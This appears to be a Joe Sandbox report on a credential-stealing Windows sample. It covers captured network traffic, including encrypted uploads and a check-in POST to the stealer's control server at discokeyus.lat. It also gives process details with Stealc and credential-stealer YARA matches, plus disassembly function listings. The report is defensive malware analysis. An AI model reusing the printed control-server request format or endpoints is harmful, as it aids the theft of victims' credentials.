DI7djbS/Um_3XnDT(27ZNca?GRZ""Mkk/>>)g[$
2024-12-20 15:53:23 UTC	15331	OUT	Data Raw: 49 c7 c0 14 2e 84 ad b6 61 bc ef 1b 1a 05 fa 97 c6 38 92 16 74 19 a0 af f5 67 df 31 c3 66 19 6d 5e c3 d2 0f 0c f8 b4 c1 fc f9 c6 75 61 c3 9f 2a f9 21 82 57 74 0a 9b d5 04 3b 4b e7 fb 23 63 0c cf 23 fb 79 5d d2 1b 0a 7c 3e 67 e5 b8 4b 87 a1 da fa 4d 13 54 a2 c0 fc fc 2d e1 e9 af 80 1e ff 69 be f4 06 3b 1d 50 4a 21 38 d3 fb 08 72 f3 08 af 30 87 6f 03 bd fa b9 16 0b c7 fa 6d 39 f1 da e7 4a ff 64 a3 03 45 60 b4 1a 29 54 c0 48 2b ae 3a e3 db bc 05 0b ae 6c f8 9f 96 86 94 24 10 22 93 f8 ed 9b 0b 08 3e f1 d3 22 df 89 e3 3b 29 d5 80 a0 78 75 e3 f9 80 2c fc 0b 0d ec a1 41 2c 20 cb 4a 7c 23 d1 c5 20 ba c5 39 81 34 1c d8 83 52 f8 7d 88 ee 45 20 ec f7 04 65 37 90 7c d1 a9 81 80 8f ff 81 77 ed bd f2 e5 bc 13 d6 15 c5 c7 cc 4b fc e2 88 7d eb 2b b1 aa 22 f2 cd 8e e2 77 Data Ascii: I.a8tg1fm^ua*!Wt;K#c#y]\|>gKMT-i;PJ!8r0om9JdE`)TH+:l$">";)xu,A, J\|# 94R}E e7\|wK}+"w
2024-12-20 15:53:23 UTC	15331	OUT	Data Raw: 2d ea b5 ad dc c2 8e de 42 76 3a b3 43 a5 cb 00 d4 6e ac fe 51 04 51 2b a9 8a 3f 78 21 4d 2b cf 4a 42 d6 d7 02 ff 64 53 68 21 63 2d 7e 3c ee c6 8f 56 ea 6a f9 79 34 75 80 e7 cb b3 5d ae 08 cf 56 d2 23 d6 ec b9 10 b3 96 79 64 e9 df c3 47 96 d6 59 54 c3 57 bd fd 21 1f c3 db 81 53 2b b7 c6 9b a3 7f 75 f4 bf a9 ad ac 31 c0 b8 7b 24 64 a5 5f 0e 88 03 2f cf ff 5b 11 aa 6d c8 e7 75 5b d4 ff ec 49 59 8b b3 5f dd de f9 24 72 ab a6 3d 50 21 29 c3 ca 74 ef 92 13 d3 e1 4b 48 1d 13 7c 6a 83 12 ea 68 32 d6 59 40 e0 72 6f 54 e9 2e 52 cb 37 f4 cb ff 7f ad 60 70 f0 e6 aa d1 2b a0 2d 9e 2e 0e b2 a4 d1 4a fa e0 18 b6 b8 ad 54 43 e4 db 7d 38 e2 e8 bc 41 04 77 ab 03 0e 92 5c 3f 69 a4 2d 03 e0 c9 f5 5f ea f5 de 42 14 ad e8 d2 6f 33 99 2e eb 05 24 a7 d6 f1 c8 12 ec f6 54 9e db Data Ascii: -Bv:CnQQ+?x!M+JBdSh!c-~<Vjy4u]V#ydGYTW!S+u1{$d_/[mu[IY_$r=P!)tKH\|jh2Y@roT.R7`p+-.JTC}8Aw\?i-_Bo3.$T
2024-12-20 15:53:23 UTC	15331	OUT	Data Raw: 07 09 2d f7 69 69 e2 f5 b3 2f 7f 73 5c 36 6a 4d 56 7e d7 9e 94 70 0e 82 8e 91 3e ec ee aa fb 91 d8 85 55 62 d2 9e 2c 2a 36 3b c8 37 fe f1 3f d9 28 f0 9a d5 b5 b7 d8 39 93 e3 e3 7f 96 a6 de 79 54 9a 38 a6 fe b4 6a 8c bc 56 b5 25 be 20 36 e6 55 01 03 16 a5 f1 6c bb 78 c5 74 52 5f 7a bf f9 93 0f 0a 63 fe 79 1a e2 16 ef 7e b5 4e 8e 87 53 e3 07 29 df 2d cf 3d 29 0f 92 15 3f 56 97 11 44 38 e5 e0 55 f5 8b e4 a1 b1 33 b3 10 1b 10 ff fe 27 e4 f3 24 cc 41 dc 1c 8c 02 9e d2 f4 ba 06 27 e7 8c 6a 4b 71 30 bd 8d d7 b2 27 3e 4c b0 3f 36 98 b8 28 f7 1b 9a 3b 1a 52 9e 07 04 23 0a 6b 39 f6 df 08 a7 55 8d b0 72 6f 6e b9 14 d4 06 21 89 26 36 7a ac bf 50 7f 65 a2 cb 22 68 0a f1 cb d3 76 c7 07 09 53 bf e0 23 a5 7b da 47 9f be 2f 61 bc 6f 7a 2d bd f5 f7 a7 c1 2c 32 99 73 2b 29 Data Ascii: -ii/s\6jMV~p>Ub,*6;7?(9yT8jV% 6UlxtR_zcy~NS)-=)?VD8U3'$A'jKq0'>L?6(;R#k9Uron!&6zPe"hvS#{G/aoz-,2s+)
2024-12-20 15:53:23 UTC	15331	OUT	Data Raw: d3 29 56 07 2a b7 a9 83 ec eb 8d 1b 6b 7f 3b cf d1 9a d3 4b 3c 68 69 22 ee 38 4c 18 3b f9 98 bc 36 64 59 7a 64 d3 1f c4 43 9a 74 3b bf 36 a5 89 28 bd 78 a0 da cc 7d 75 db 32 79 12 9a 07 33 04 21 a5 4b 96 ef 4f 42 f1 6b d6 b0 29 cf df 78 ba c9 55 b7 33 c7 54 df 25 21 35 e5 69 75 82 fc 4f cb fa 53 d2 17 49 d7 aa 3f 54 a9 ce b8 8e d8 2a 11 f8 75 fd a4 34 28 3b 8f 8a b2 88 b2 34 b3 76 d6 f4 54 b3 cc d0 c1 1d 1a dd 6f 19 cb d8 04 b2 03 b0 f2 4a b5 01 bb 5b 9e 5e 0b 16 05 c9 71 d2 51 16 b1 31 e1 b5 bb 23 5a d3 7b 23 a1 cc 95 e0 ff 79 3d 44 f6 bf 5f 2f 99 de ee 7f 20 0e b2 70 98 ff cf 01 9a 22 d3 6d b1 f0 bd d8 7c 85 d3 9d d7 ac 3f c7 6f 92 a9 9a a0 56 53 4b d0 b6 c7 76 c9 a9 46 db bf c7 2a 19 d1 bf 0f 71 a4 72 4f 8c 88 d2 87 58 a9 e8 aa 06 31 25 39 6f 02 f1 8f Data Ascii: )Vk;K<hi"8L;6dYzdCt;6(x}u2y3!KOBk)xU3T%!5iuOSI?Tu4(;4vToJ[^qQ1#Z{#y=D_/ p"m\|?oVSKvF*qrOX1%9o
2024-12-20 15:53:23 UTC	15331	OUT	Data Raw: 0c 69 11 97 08 33 04 d1 c6 c9 51 63 c4 74 26 3e 7b e4 f0 3c 40 34 02 3e 2e 8d 6c 88 94 a5 78 a6 a0 ed e2 32 7b 9f 46 93 aa cd 28 1a 6c 9a d3 07 43 c5 3e 0f 9c 84 59 aa 69 f8 09 47 c0 b4 ed 52 83 35 76 5e fe 63 06 2d 49 13 64 c0 85 ad c9 99 07 99 99 41 dc 7b ff 7a 3b 35 5a 44 3a 30 d2 b1 f1 4f 37 4a 7d 5e 1d 55 d8 88 69 78 52 e5 73 42 7e f2 fd 8a df 16 aa 79 2d 53 0c fa eb 4b b5 aa fc 52 f9 5e e1 37 5f aa b1 ff 11 06 de 1c b4 28 2d d1 a1 c0 e1 a7 e3 7d c9 ec f4 28 f3 2e 59 a9 cb dd d5 56 04 bd 26 63 30 4a c4 4c 14 1e 3a 95 67 e8 1e f7 be ee 2c ad a7 d0 f4 63 2d 1c 74 96 b6 55 7c d3 bf bc 1f 8b 59 3c 38 f8 57 85 9f 04 95 34 3c a4 4a b7 8d 89 5d a3 7c 36 5a af 77 30 6c c9 ac 7a 8f ca f4 81 4f e1 10 ea e2 fe 14 3f cb a0 b9 ef 6f 0c c7 7a 1f cf 26 92 1d 78 f2 Data Ascii: i3Qct&>{<@4>.lx2{F(lC>YiGR5v^c-IdA{z;5ZD:0O7J}^UixRsB~y-SKR^7_(-}(.YV&c0JL:g,c-tU\|Y<8W4<J]\|6Zw0lzO?oz&x
2024-12-20 15:53:25 UTC	1132	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 15:53:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=l85ioed114pjevvr1veibdb4if; expires=Tue, 15 Apr 2025 09:40:04 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=fBUYmJV6uuez3KABL25Pq3TwmgvluprClgU4cGMh4xkEVhiQRwe1gKZ6DIB9mzGvndGOHLoT3Heihczvu61MLf%2FKksgpI8h4iDG3ZaEnr8%2FFBEFRc47bn8kynb9L8lzGtg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f50ce116b8780d9-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4936&min_rtt=1863&rtt_var=2713&sent=313&recv=577&lost=0&retrans=0&sent_bytes=2833&recv_bytes=553573&delivery_rate=1567364&cwnd=252&unsent_bytes=0&cid=95b960c354c2fdca&ts=2433&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49732	172.67.197.170	443	5828	C:\Users\user\Desktop\XNtOBQ5NHr.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 15:53:26 UTC	262	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 82 Host: discokeyus.lat
2024-12-20 15:53:26 UTC	82	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 26 6a 3d 26 68 77 69 64 3d 46 43 43 37 36 32 41 43 42 38 34 34 31 32 35 43 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 Data Ascii: act=get_message&ver=4.0&lid=PsFKDg--pablo&j=&hwid=FCC762ACB844125CAC8923850305D13E
2024-12-20 15:53:27 UTC	1133	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 15:53:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=m12l1sgn2tshov4jhmb0sprrhq; expires=Tue, 15 Apr 2025 09:40:06 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=f%2FRM%2BLfyRAkxBOZFpYu3q8cO4dbBFOFIDSKtb6GTohuFpo7eqKagYa8mOQ%2BdJqidW%2Fw%2FZit3Lj1j%2BruiLHND0CYwpav0Mi8PoZUCEcfv3PiZX1GOKanvq81%2FQHuo0pZwrQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f50ce28fd857d14-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1934&min_rtt=1921&rtt_var=746&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2832&recv_bytes=980&delivery_rate=1441263&cwnd=245&unsent_bytes=0&cid=6caf7eb64b37b8fb&ts=839&x=0"
2024-12-20 15:53:27 UTC	214	IN	Data Raw: 64 30 0d 0a 39 79 30 72 37 6a 5a 6a 4c 59 35 59 77 46 63 69 6a 49 30 6d 36 6a 59 79 62 55 5a 35 6e 7a 2f 6f 30 57 44 6b 58 79 74 63 6f 33 2b 73 56 67 6d 62 46 46 6b 50 35 69 79 30 4a 78 6a 51 6f 6e 72 46 42 77 70 59 61 45 75 75 43 73 62 67 55 64 64 78 47 6d 72 2f 55 4a 68 4c 54 62 49 5a 42 30 6a 6f 64 71 55 76 52 36 36 68 42 49 78 43 45 46 64 32 56 62 31 61 79 75 74 51 6d 58 4e 51 66 74 5a 64 7a 51 39 44 6d 6b 49 54 46 39 4a 33 6e 48 67 54 74 4c 67 49 32 41 63 48 51 33 64 49 72 42 48 5a 35 7a 7a 4c 4c 46 38 35 77 68 4b 72 41 6c 6d 50 57 41 64 43 34 33 61 6c 4c 30 65 75 6f 51 53 4d 51 68 42 58 64 6c 57 39 57 73 72 72 55 4a 6b 43 0d 0a Data Ascii: d09y0r7jZjLY5YwFcijI0m6jYybUZ5nz/o0WDkXytco3+sVgmbFFkP5iy0JxjQonrFBwpYaEuuCsbgUddxGmr/UJhLTbIZB0jodqUvR66hBIxCEFd2Vb1ayutQmXNQftZdzQ9DmkITF9J3nHgTtLgI2AcHQ3dIrBHZ5zzLLF85whKrAlmPWAdC43alL0euoQSMQhBXdlW9WsrrUJkC
2024-12-20 15:53:27 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	10:53:02
Start date:	20/12/2024
Path:	C:\Users\user\Desktop\XNtOBQ5NHr.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\XNtOBQ5NHr.exe"
Imagebase:	0x230000
File size:	1'829'888 bytes
MD5 hash:	52AE89A2CFA207A72090D1C21358B0B1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2258221249.000000000125C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2228919142.000000000125C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2258081562.000000000125C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	10:53:32
Start date:	20/12/2024
Path:	C:\Users\user\AppData\Local\Temp\I8TEVW54DAWA7LANTKTUH8I1LE.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\I8TEVW54DAWA7LANTKTUH8I1LE.exe"
Imagebase:	0x800000
File size:	2'846'208 bytes
MD5 hash:	ED267F8F886C1D23165754F5C17B852D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	10:53:38
Start date:	20/12/2024
Path:	C:\Users\user\AppData\Local\Temp\YYVZHLAZ7NPNQKZ17XJO.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\YYVZHLAZ7NPNQKZ17XJO.exe"
Imagebase:	0x80000
File size:	2'883'584 bytes
MD5 hash:	A0956C9F9C719B85668C6F8B85F89A5B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000004.00000002.2502379431.0000000000081000.00000040.00000001.01000000.00000009.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000004.00000003.2459814389.0000000004DC0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000004.00000002.2504654866.000000000102E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	3%
Dynamic/Decrypted Code Coverage:	30%
Signature Coverage:	6.7%
Total number of Nodes:	30
Total number of Limit Nodes:	2

Executed Functions

Function 0098750B Relevance: 1.6, APIs: 1, Instructions: 132
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 0098750B

Memory Dump Source

Source File: 00000003.00000002.2538537811.0000000000987000.00000040.00000001.01000000.00000006.sdmp, Offset: 00800000, based on PE: true

Associated: 00000003.00000002.2538190267.0000000000800000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538223591.0000000000802000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538246667.0000000000806000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538270085.000000000080A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538297524.0000000000816000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538438577.000000000096B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538460967.000000000096D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538490249.0000000000984000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538515849.0000000000986000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538537811.0000000000993000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538585234.0000000000995000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538609777.0000000000999000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538635872.00000000009A5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538658323.00000000009A8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538682708.00000000009A9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538703789.00000000009AA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538727567.00000000009AB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538750110.00000000009AC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538778958.00000000009C1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538804505.00000000009CB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538827547.00000000009CD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538859314.00000000009D5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538887848.00000000009E2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538914566.00000000009E9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538944721.0000000000A00000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538968291.0000000000A06000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538991617.0000000000A07000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539020885.0000000000A10000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539046572.0000000000A1F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539070336.0000000000A21000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539094969.0000000000A22000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539120031.0000000000A25000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539143120.0000000000A2C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539166415.0000000000A2F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539188915.0000000000A36000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539214016.0000000000A3A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539239033.0000000000A41000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539265029.0000000000A45000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539292661.0000000000A56000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539318166.0000000000A57000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539343556.0000000000A66000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539365774.0000000000A68000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539407540.0000000000A98000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539429946.0000000000A99000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539454617.0000000000AA2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539454617.0000000000AA9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539508676.0000000000AB8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539531885.0000000000ABA000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_800000_I8TEVW54DAWA7LANTKTUH8I1LE.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 163c99ab4124f268b24d18ad04dbfd3c3971c22b028346fe89e5a5e4c1289771
Instruction ID: 1995abbe7aeb546d3d2b007bb9c42b4ca046d7d59b83d3e404f449cd8b8f2d9b
Opcode Fuzzy Hash: 163c99ab4124f268b24d18ad04dbfd3c3971c22b028346fe89e5a5e4c1289771
Instruction Fuzzy Hash: E54138B210C200AFD3056F69E885A7EFBE8FF94721F224C2DE6C582210D77449958BA7

Function 0098BACE Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 94
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE(1E00C600), ref: 0098BB0F

Strings

C, xrefs: 0098BD91
#, xrefs: 0098BB32

Memory Dump Source

Source File: 00000003.00000002.2538537811.0000000000987000.00000040.00000001.01000000.00000006.sdmp, Offset: 00800000, based on PE: true

Associated: 00000003.00000002.2538190267.0000000000800000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538223591.0000000000802000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538246667.0000000000806000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538270085.000000000080A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538297524.0000000000816000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538438577.000000000096B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538460967.000000000096D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538490249.0000000000984000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538515849.0000000000986000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538537811.0000000000993000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538585234.0000000000995000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538609777.0000000000999000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538635872.00000000009A5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538658323.00000000009A8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538682708.00000000009A9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538703789.00000000009AA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538727567.00000000009AB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538750110.00000000009AC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538778958.00000000009C1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538804505.00000000009CB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538827547.00000000009CD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538859314.00000000009D5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538887848.00000000009E2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538914566.00000000009E9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538944721.0000000000A00000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538968291.0000000000A06000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538991617.0000000000A07000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539020885.0000000000A10000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539046572.0000000000A1F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539070336.0000000000A21000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539094969.0000000000A22000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539120031.0000000000A25000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539143120.0000000000A2C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539166415.0000000000A2F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539188915.0000000000A36000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539214016.0000000000A3A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539239033.0000000000A41000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539265029.0000000000A45000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539292661.0000000000A56000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539318166.0000000000A57000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539343556.0000000000A66000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539365774.0000000000A68000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539407540.0000000000A98000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539429946.0000000000A99000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539454617.0000000000AA2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539454617.0000000000AA9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539508676.0000000000AB8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2539531885.0000000000ABA000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_800000_I8TEVW54DAWA7LANTKTUH8I1LE.jbxd

Similarity

API ID: CreateFile
String ID: #$C
API String ID: 823142352-3682062375
Opcode ID: 194edf1ad8a30b1a46b8afbcdf9c8ef9e55c958c7bda3adb0e645d792c711ccb
Instruction ID: f4f2cc18358b183f88d5be5aeabc46d1c86f0c7d079502c3d07bf8286d368e96
Opcode Fuzzy Hash: 194edf1ad8a30b1a46b8afbcdf9c8ef9e55c958c7bda3adb0e645d792c711ccb
Instruction Fuzzy Hash: C9217DB654424ABEC711AF5588446EF7FE9FF53330B38042EE40297743E3AA4D159BA4

Function 0099493C Relevance: 4.6, APIs: 3, Instructions: 57
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyA.ADVAPI32(80000001,?,?), ref: 00994F56
RegOpenKeyA.ADVAPI32(80000002,?,?), ref: 00994F7D
GetNativeSystemInfo.KERNELBASE(?), ref: 00994FD4

Memory Dump Source

Source File: 00000003.00000002.2538537811.0000000000993000.00000040.00000001.01000000.00000006.sdmp, Offset: 00800000, based on PE: true

Associated: 00000003.00000002.2538190267.0000000000800000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538223591.0000000000802000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538246667.0000000000806000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538270085.000000000080A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538297524.0000000000816000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538438577.000000000096B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538460967.000000000096D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538490249.0000000000984000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538515849.0000000000986000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538537811.0000000000987000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538585234.0000000000995000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538609777.0000000000999000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538635872.00000000009A5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2538658323.00000000009A8000.00000040.00000001.01000000.00000006.sdmpDownload File
